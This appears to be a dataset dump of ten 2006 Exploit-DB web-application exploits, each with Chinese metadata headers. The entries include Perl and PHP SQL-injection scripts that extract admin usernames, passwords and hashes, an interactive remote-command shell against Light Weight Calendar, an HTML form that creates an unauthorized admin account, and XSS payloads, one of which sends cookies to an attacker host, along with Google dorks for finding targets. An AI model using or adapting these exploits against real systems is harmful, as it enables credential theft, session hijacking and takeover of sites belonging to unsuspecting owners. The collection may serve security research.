QLWD/code_shield huggingface dataset:
标题: Jupiter CMS 1.1.5 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 1576 CVE: 2006-1223 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-11 漏洞利用脚本: Jupiter CMS <= 1.1.5 multiple XSS attack vectors.

Discovered by: Nomenumbra/[0x4F4C] Date: 3/11/2006 impact:high (privilege escalation,site defacement)

Jupiter CMS (http://www.highstrike.net/) is a dynamic CMS system like mambo or limbo, allowing users
to subscribe and posts events. Because no filtering is done upon [image] BBcode input, any user is
capable of inserting arbitrary javascript code, allowing for credential theft leading/session
hijacking and possibly site defacement.

Examples:

This would make a messagebox pop up saying 'XSS', whenever the events get loaded (on the main page,
calender,etc): [image=javascript:alert('XSS')]

This would allow an attacker to steal session ID's, which he could insert into his own cookie to
hijack sessions and elevate his/her privileges:

[image=javascript:window.navigate('http://www.evilhost.com/cookiestealer.php?c='+document.cookie)]

It would be used with SjaakRake's cookie stealer (http://www.milw0rm.com/exploits/1103), with maybe
the addition of a header("location: ".<anythinghere>), to redirect the user to a page of your choice,
to avoid suspicion and disclosure of your cookiestealer's location.

This injections would allow an attacker to redirect users to a page of his choice, effectively
defacing the page:

[image=javascript:window.navigate('http://www.evilhost.com/pwned.html')]

As you can see the possibilities are limitless, as long as you have a bit of fantasy!

Nomenumbra/[0x4F4C]

Questions: zerogue@gmail.com Site: http://0x4f4c.awardspace.com

# milw0rm.com [2006-03-11] URL: https://www.exploit-db.com/exploits/1576
标题: d2kBlog 1.0.3 - 'memName' SQL Injection EDB-ID: 1569 CVE: 2006-1123 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-09 漏洞利用脚本: #!/usr/bin/perl -w 
 # D2KBLOG SQL injection 
 # Discovered by : Farhad Koosha [ farhadkey [at} kapda.ir ]
 # Exploited by : devil_box [ devil_box [at} kapda.ir ]
 # member of : Kapda.ir - Security Science Researchers Institute of Iran (persianhacker.net)

require LWP::UserAgent;
require HTTP::Request;
print "\r\n\r\n=-=-=-==================================================================-=-=-=\r\n\r\n";
print " KAPDA - Security Science Researchers Institute of Iran\r\n\r\n";
print " PoC for D2KBLOG SQL injection bug - Administrator Password Extractor\r\n\r\n";
print " Original Source : http://kapda.ir/advisory-287.html (persianhacker.net)\r\n\r\n";
print "\r\n=-=-=-==================================================================-=-=-=\r\n";

 if (@ARGV != 2) 
 { 
    print " Usage: kapda_D2KBLOG_xpl.pl [Target Domain] [Vulnerable Page]\n\r\n"; 
    print " ex: kapda_D2KBLOG_xpl.pl www.target.com /blog/profile.asp\n\r\n";
    exit (); 
 } 


my $ua = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1,timeout => 30,);

my $Path = $ARGV[0];

my $Page = $ARGV[1];

my $URL = "http://".$Path.$Page;

print "|***| Connecting to ".$URL." ...\r\n";

$r = HTTP::Request->new(GET => $URL."?action=edit");

$r->header( "Cookie" =>$Path."=memPassword=&memStatus=&memName=<!--'UNION%20ALL%20select%201,1,1,'**stxt**|UserName|:|'%2bmem_name%2b'|-=-|Password|:|'%2bmem_password%2b'|**etxt**',1,1,1,1,1,1,1,1,'Discovered%20and%20coded%20by%20farhadkey%20from%20KAPDA.ir'%20from%20blog_member%20where%20mem_status='SupAdmin'%20or%20'1'='-->" );

$res = $ua->request($r);

print "|***| Connected !\r\n";

if ($res->is_success) {

 print "|***| Extracting Username and Password ...\r\n\r\n";

 my $results = $res->content; 

 while($results=~/\"\*\*stxt\*\*(.*?)\*\*etxt\*\*\"/ig){ print "-=-> $1 \r\n"; }

 print "\r\n Exploit by Devil_Box\r\n  Discovery by Farhad koosha\r\n\r\n";

 } else {
 die "\r\n|***| ".$res->status_line;
 }

# milw0rm.com [2006-03-09] URL: https://www.exploit-db.com/exploits/1569
标题: Light Weight Calendar 1.x - 'date' Remote Code Execution EDB-ID: 1570 CVE: 2006-1252 2006-0206 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: #!/usr/bin/perl
#
# Light Weight Calendar
# Exploit by Hessam-x (www.hessamx.net)
#
######################################################
#  ___ ___                __                         #
# /   |   \_____    ____ |  | __ ___________________ #
#/    ~    \__  \ _/ ___\|  |/ // __ \_  __ \___   / #
#\    Y    // __ \\  \___|    <\  ___/|  | \//    /  #
# \___|_  /(____  /\___  >__|_ \\___  >__|  /_____ \ #
#       \/      \/     \/     \/    \/            \/ #
#             Iran Hackerz Security Team             #
#               WebSite: www.hackerz.ir              #
#                                                    #
######################################################
# Name    : Light Weight Calendar                    #
# version : 1.*                                      #
######################################################
use LWP::Simple;

print "-------------------------------------------\n";
print "=          Light Weight Calendar          =\n";
print "=       By Hessam-x  - www.hackerz.ir     =\n";
print "-------------------------------------------\n\n";

      print "Target(www.example.com)\> ";
      chomp($targ = <STDIN>);

      print "path: (/lwc/)\>";
      chomp($path=<STDIN>);

while()
{

     print "command:\>";
     chomp($comd=<STDIN>);
     $expl="index.php?hx=".$comd."&date=passthru%28%24_GET%5Bhx%5D%29";
     $page=get("http://".$targ.$path.$expl) || die "[-] Exploit failed ...\n";

}

# milw0rm.com [2006-03-09] URL: https://www.exploit-db.com/exploits/1570
标题: JiRos Banner Experience 1.0 - Unauthorized Create Admin EDB-ID: 1571 CVE: 2006-1213 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-09 漏洞利用脚本: <html>
<title>Jiros Banner Experience Pro Unauthorized Admin Add Exploit</title>
<body bgcolor="#000000">
<style>
.xpl {font-family:tahoma; font-size:11px; text-decoration: none;}
</style>
<script language="JavaScript">
function jbxpl() {
  if (document.xplt.victim.value=="") {
    alert("Please enter site!");
    return false;
  }
  if (confirm("Are you sure?")) {
    xplt.action="http://"+document.xplt.victim.value+"files/update.asp?Action=AddAdmin";
    xplt.aName.value=document.xplt.aName.value;
    xplt.aEmail.value=document.xplt.aEmail.value;
    xplt.aPassword.value=document.xplt.aPassword.value;
    xplt.aIsSystemAdmin=document.xplt.aIsSystemAdmin.value;
    xplt.aIsActive=document.xplt.aIsActive.value;
    xplt.submit();
  }
}
</script>
<strong>
<font class="xpl" color="#00FF40">
<pre>
<center>
Welcome to Jiros Banner Experience Pro Unauthorized Admin Add Exploit
This exploit has been coded by nukedx
You can found original advisory on http://www.nukedx.com/?viewdoc=19
Dork for this exploit: <u>inurl:JBSPro</u>
Your target must be like that: www.victim.com/Path/
The sites you found with given dork has like: www.victim.com/JBSPro/files or www.victim.com/JBSPro.asp
If the site has /JBSPro/files in link your target must be www.victim.com/JBSPro/
For second example your target must be www.victim.com/
You can login with your admin account via www.victim.com/JBSPath/files/login.asp
Have phun
<form name="xplt" method="POST" onsubmit="jbxpl();">
Target -> <input type="text" name="victim" value="www.victim.com/Path/" size="44" class="xpl">
<input type="text" name="aName" value="Enter Username" class="xpl" size="30">
<input type="text" name="aEmail" value="Enter Email" class="xpl" size="30">
<input type="text" name="aPassword" value="Enter Password" class="xpl" size="30">
<input type="hidden" name="aIsSystemAdmin" value="True">
<input type="hidden" name="aIsActive" value="True">
<input type="submit" value="Send" class="xpl">
</form>
</pre>
</font>
</strong>
</body>
</html>

Save this code as .htm and then execute.

# nukedx.com [2006-03-07]

# milw0rm.com [2006-03-09] URL: https://www.exploit-db.com/exploits/1571
标题: CilemNews System 1.1 - 'yazdir.asp' haber_id SQL Injection EDB-ID: 1562 CVE: 2006-0961 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-07 漏洞利用脚本: #!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Usage: cilem.pl <victim> <directory>
#Original Advisory: http://www.nukedx.com/?viewdoc=10
#googledork [ inurl:yazdir.asp?haber_id= ] 2.140 pages...
use IO::Socket;
if(@ARGV < 2){
print "
+***********************************************************************+
+Welcome to CilemNews System <= 1.1 (yazdir.asp haber_id) SQL-inject xpl+
+                   Usage: cilem.pl <victim> <directory>                +
+                       Example: cilem.pl sux.com /                     +
+                 googledork [ inurl:yazdir.asp?haber_id= ]             +
+                 Method found & Exploit scripted by nukedx             +
+***********************************************************************+
";
exit();
}
#Local variables
$cilemserver = $ARGV[0];
$cilemserver =~ s/(http:\/\/)//eg;
$cilemhost = "http://".$cilemserver;
$port = "80";
$cilemdir = $ARGV[1];
$cilemtar = "yazdir.asp?haber_id=";
$cilemfinal = "admin/giris.asp";
$cilemxp = "1%20union%20select%200,admin,sifre,0,0,0,0,0,0,0,0,0,0,0%20from%20ayarlar%20where%20admin=admin";
$cilemreq = $cilemhost.$cilemdir.$cilemtar.$cilemxp;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $cilemserver\n";
$cilem = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$cilemserver", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $cilem "GET $cilemreq\n";
print $cilem "Host: $cilemserver\n";
print $cilem "Accept: */*\n";
print $cilem "Connection: close\n\n";
print "+ Connected!...\n";
while($answer = <$cilem>) {
if ($answer =~ /font-weight:700\">(.*?)<\/b><\/td>/){ 
print "+ Exploit succeed! Getting admin's information.\n";
print "+ ---------------- +\n";
print "+ USERNAME: $1\n";
}
if ($answer =~ /(.*?)<\/font><\/td>/) { 
print "+ PASSWORD: $1\n";
print "+ ---------------- +\n";
print "+ Lets go $cilemhost$cilemdir$cilemfinal and\n+ Login with this information. \n";
print "+**********************************************************************+\n";
exit(); 
}
if ($answer =~ /Internal Server Error/) {
print "+ This version of CilemNews is vulnerable too but default query of SQL-inject doesnt work on it\n";
print "+ So please edit query by manually adding or removing null datas..\n";
print "+**********************************************************************+\n";
exit(); 
}
if ($answer =~ /number of columns/) { 
print "+ This version of CilemNews is vulnerable too but default query of SQL-inject doesnt work on it\n";
print "+ So please edit query by manually adding or removing null datas..\n";
print "+**********************************************************************+\n";
exit(); 
}
}
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-03-07] URL: https://www.exploit-db.com/exploits/1562
标题: D2-Shoutbox 4.2 IPB Mod - 'load' SQL Injection EDB-ID: 1556 CVE: 2006-1153 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-06 漏洞利用脚本: #!/usr/bin/perl
#########################################################
#   _______ _______ ______   #
#   |______ |______ |     \  #
#   ______| |______ |_____/  #
#                            #
#D2-Shoutbox 4.2(IPB Mod)<=SQL injection  #
#Created By SkOd                                        #
#SED security Team                                      #
#http://www.sed-team.be                                 #
#skod.uk@gmail.com                                      #
#ISRAEL                                                 #
#########################################################
#google:
#"Powered By D2-Shoutbox 4.2"
#########################################################
use IO::Socket;
$host = $ARGV[0];
$user = $ARGV[2];
$uid  = $ARGV[3];
$pid  = $ARGV[4];
$type = $ARGV[5];

sub type()
{
if($type==1){$row="password";}
if($type==2){$row="member_login_key";}
else{print "Just 1 Or 2\n";exit();}
$sql="index.php?act=Shoutbox&view=saved&load=-1%20UNION%20SELECT%20null,null,null,null,".$row.",null,null,null%20FROM%20ibf_members%20where%20id=".$user."/*";
$path = $ARGV[1].$sql;
}


sub header()
{
print q{
#######################################################################
###   D2-Shoutbox 4.2 SQL injection Exploit           ### 
###   Tested On D2-Shoutbox 4.2 And IPB 2.4           ###
###    Created By SkOd, Sed Security Team           ###
#######################################################################
sedSB.pl [HOST] [DIR] [victim] [my id] [my md5 hash] [1-(1.*)/2-(2.*)]
sedSB.pl www.host.com /forum/ 2 4500 f3b8a336b250ee595dc6ef6bac38b647 2
#######################################################################
}
}

sub sedsock()
{
$sedsock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => "80") || die "[-]Connect Failed\r\n";
print $sedsock "GET $path HTTP/1.1\n";
print $sedsock "Host: $host\n";
print $sedsock "Accept: */*\n";
print $sedsock "Cookie: member_id=$uid; pass_hash=$pid\n";
print $sedsock "Connection: close\n\n";
while($res = <$sedsock>){
$res =~ m/shout_s'>(.*?)<\/textarea>/ && print "[+]User: $user\n[+]Md5 Hash: $1\n";
}
}

if(@ARGV < 6){
header();
}else{
type();
sedsock();
}

# milw0rm.com [2006-03-06] URL: https://www.exploit-db.com/exploits/1556
标题: RedBLoG 0.5 - 'cat_id' SQL Injection EDB-ID: 1567 CVE: 2006-1140 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-08 漏洞利用脚本: <?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "ooooooooooooooooooooooooooooo redblog 0.5 exploit ooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php redblog-05-exploit.php [url]\n";
    echo "oo proxy support  $ php redblog-05-exploit.php [url] [proxy]:[port]\n";
    echo "oo example        $ php redblog-05-exploit.php http://localhost\n";
    echo "oo print the password of the administrator\n\n";
}

function xss_bottom()
{
    echo "\noo discover : x128 - alexander wilhelm - 09/03/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/modules/blog/rss.php";
    $xss_http_get = "?cat_id=x128";

    $xss_connection = curl_init();

    if ($_SERVER['argv'][2])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][2]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");
    
    preg_match("/FROM ([0-9a-zA-Z_]*)posts/", $xss_source, $xss_prefix);

    $xss_http_get = "?cat_id=" . urlencode("0 UNION SELECT 1,config_value,1,1,1,1,1,1 FROM " . $xss_prefix[1] . "general_config/*");
    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");
    preg_match("/<title>([0-9a-f]{32})<\/title>/", $xss_source, $xss_output);
    
    if ($xss_output[0])
    {
        echo "oo password       " . $xss_output[1] . "\n\n";
        echo "oo dafaced ...\n";
    }

    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# milw0rm.com [2006-03-08] URL: https://www.exploit-db.com/exploits/1567
标题: Aztek Forum 4.00 - Cross-Site Scripting / SQL Injection EDB-ID: 1547 CVE: 2006-1112 2006-1111 2006-1110 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-02 漏洞利用脚本: /*==========================================*/
// AZTEK forums 4.0 multiple vulnerabilities (PoC)
// Product: AZTEK forums
// URL: http://www.forum-aztek.com/
// RISK: high
/*==========================================*/

[PoC]

1- XSS
 - Post a message including the following line: &lt;/textarea&gt;'"><script>alert(document.cookie)</script>
 - Valid.
 - Click on "Citer" to execute the script.

 You can also do it with the edit button (after loging in).

2-
 Do the following request : http://SOME_HOST/forum/index.php?msg=*/*
 It will dump a MySQL error message which can dump login:pw infos.

3-
 - Register with :
 login : 6b 66 73 6a 64 61 20 54 50 68 70 45 72 72 6f 72 45 78 63 65
 70 74 69 6f 6e 0d 0a 44 65 73 63 72 69 70 74 69 6f 6e 0d 0a 5b 57 61
 72 6e 69 6e 67 5d 20 6d 79 73 71 6c 5f 63 6f 6e 6e 65 63 74 28 29 20
 5b 3c 61 20 68 72 65 66 3d 27 66 75
        [...a huge login name...]
 6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e 6e 65 63 74 27 3e 66
 75 6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e
 passwd:blabla
 email:blabla@gmail.com
 - Valid.

 This form is not validated at all, so it can cause a MySQL error like :

 Mysql error in file 
 /home/httpd/vhosts/www.**********.com/web/forum/index/actions.php in
 function subscribe at line 222

 Mysql query error :
 INSERT INTO atk_users (login,owner,passwd,email,show_email,alert_mp,subscribe)
  VALUES ('6b 66 73 6a 64 61 20 54 50 68 
 [...]','admin','atHax4CLQE42Q','blabla@gmail.com','1','1','1141202540')

 Please note this error and contact your administrator.

--
PoC by lorenzo [GHT], http://ght.c.la/

# milw0rm.com [2006-03-02] URL: https://www.exploit-db.com/exploits/1547
标题: MyBulletinBoard (MyBB) 1.04 - 'misc.php' SQL Injection (2) EDB-ID: 1548 CVE: 2006-0959 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-03 漏洞利用脚本: #!/usr/bin/perl -w

# MyBB <= 1.04 (misc.php COMMA) Remote SQL Injection Exploit 2 , Perl C0d3
#
# Milw0rm ID :-
#   http://www.milw0rm.com/auth.php?id=1539
# D3vil-0x1 | Devil-00 < BlackHat > :)
#
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
use IO::Socket;

##-- Start --#

$host  = "127.0.0.1";
$path  = "/mybb3/";
$userid = 1;
$mycookie  = "mybbuser=1_xommhw5h9kZZGSFUppacVfacykK1gnd84PLehjlhTGC1ZiQkXr;";

##-- _END_ --##
# $host  :-
#    The Host Name Without http:// | exm. www.vic.com
#
# $path  :-
#    MyBB Dir On Server | exm. /mybb/
#
# $userid :-
#    The ID Of The User U Wanna To Get His Loginkey
#
# $cookie :-
#    You Must Register Username And Get YourCookies ( mybb_user ) Then But it Like This
# 
#    $cookie  = "mybbuser=[YourID]_[YourLoginkey];";
$sock = IO::Socket::INET->new (
          PeerAddr => "$host",
          PeerPort => "80",
          Proto  => "tcp"
          ) or die("[!] Connect To Server Was Filed");
##-- DONT TRY TO EDIT ME --##          
$evilcookie = "comma=0)%20%3C%3E%200%20UNION%20ALL%20SELECT%201,loginkey,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,1 FROM mybb_users WHERE uid=$userid/*;";
##-- DONT TRY TO EDIT ME --##      
$evildata  = "GET ".$path."misc.php?action=buddypopup HTTP/1.1\n";
$evildata .= "Host: $host \n";
$evildata .= "Accept: */* \n";
$evildata .= "Keep-Alive: 300\n";
$evildata .= "Connection: keep-alive \n";
$evildata .= "Cookie: ".$mycookie." ".$evilcookie."\n\n";

print $sock $evildata;

while($ans = <$sock>){
 $ans =~ m/<a href=\"member.php\?action=profile&amp;uid=1\" target=\"_blank\">(.*?)<\/a><\/span><\/td>/ && print "[+] Loginkey is :- ".$1."\n";
}

# milw0rm.com [2006-03-03] URL: https://www.exploit-db.com/exploits/1548
标题: Woltlab Burning Board 2.x - Datenbank MOD 'fileid' SQL Injection EDB-ID: 1544 CVE: 2006-1094 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-01 漏洞利用脚本: #!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Usage: wbb.pl <victim> <directory> <modpage> <dbnum> <userid>
#Original Advisory: http://www.nukedx.com/?viewdoc=17
use IO::Socket;
if(@ARGV < 5){
print "
+*************************************************************************+
+Woltlab Burning Board 2.x (Datenbank MOD fileid) Remote SQL Injection XPL+
+      Usage: wbb.pl <victim> <directory> <modpage> <dbnum> <userid>      +
+                Example: wbb.pl sux.com / info_db.php  1 1               +
+                  Method found & Exploit scripted by nukedx              +
+*************************************************************************+
";
exit();
}
#Local variables
$wbbserver = $ARGV[0];
$wbbserver =~ s/(http:\/\/)//eg;
$wbbhost = "http://".$wbbserver;
$port = "80";
$wbbdir = $ARGV[1];
$wbbpage  = $ARGV[2];
$wbbdbid = $ARGV[3];
$wbbid = $ARGV[4];
$wbbtar = $wbbpage."?action=file&subkatid=1&noheader=1&fileid=";
$wbbxp = "-1/**/UNION/**/SELECT/**/0,0,0,username,email,0,0,0,0,0,password,0,0,0,0,0,0,0/**/FROM/**/bb".$wbbdbid."_users/**/where/**/userid=".$wbbid;
$wbbreq = $wbbhost.$wbbdir.$wbbtar.$wbbxp;
$tag = "'s";
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $wbbserver\n";
$wbb = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$wbbserver", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $wbb "GET $wbbreq\n";
print $wbb "Host: $wbbserver\n";
print $wbb "Accept: */*\n";
print $wbb "Connection: close\n\n";
print "+ Connected!...\n";
while($answer = <$wbb>) {
if ($answer =~ /<span class=\"smallfont\"><b>(.*?)<\/b> <\/td>/){ 
print "+ Exploit succeed! Getting USERID: $wbbid$tag login information.\n";
print "+ USERNAME: $1\n";
}
if ($answer =~ /([\d,a-f]{32})<\/td>/) { 
print "+ MD5 HASH OF PASSWORD: $1\n";
}
if ($answer =~ /<p><ul>(.*?)<\/ul><\/td>/) { 
print "+ MAIL: $1\n";
print "+ SQL Injection exploit has been succesfully finished.\n";
print "+ Woltlab runs on: $wbbhost$wbbdir\n";
print "+**********************************************************************+\n";
exit();
}
if ($answer =~ /users' doesn't exist /) { 
print "+ This version of Datenbank MOD is vulnerable too but you have speficied wrong database number!\n";
print "+**********************************************************************+\n";
exit(); 
}
if ($answer =~ /number of columns/) { 
print "+ This version of Datenbank MOD is vulnerable too but default query of SQL-inject doesnt work on it\n";
print "+ So please edit query by manually adding or removing null datas..\n";
print "+**********************************************************************+\n";
exit(); 
}
}
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# nukedx.com [2006-03-01]

# milw0rm.com [2006-03-01] URL: https://www.exploit-db.com/exploits/1544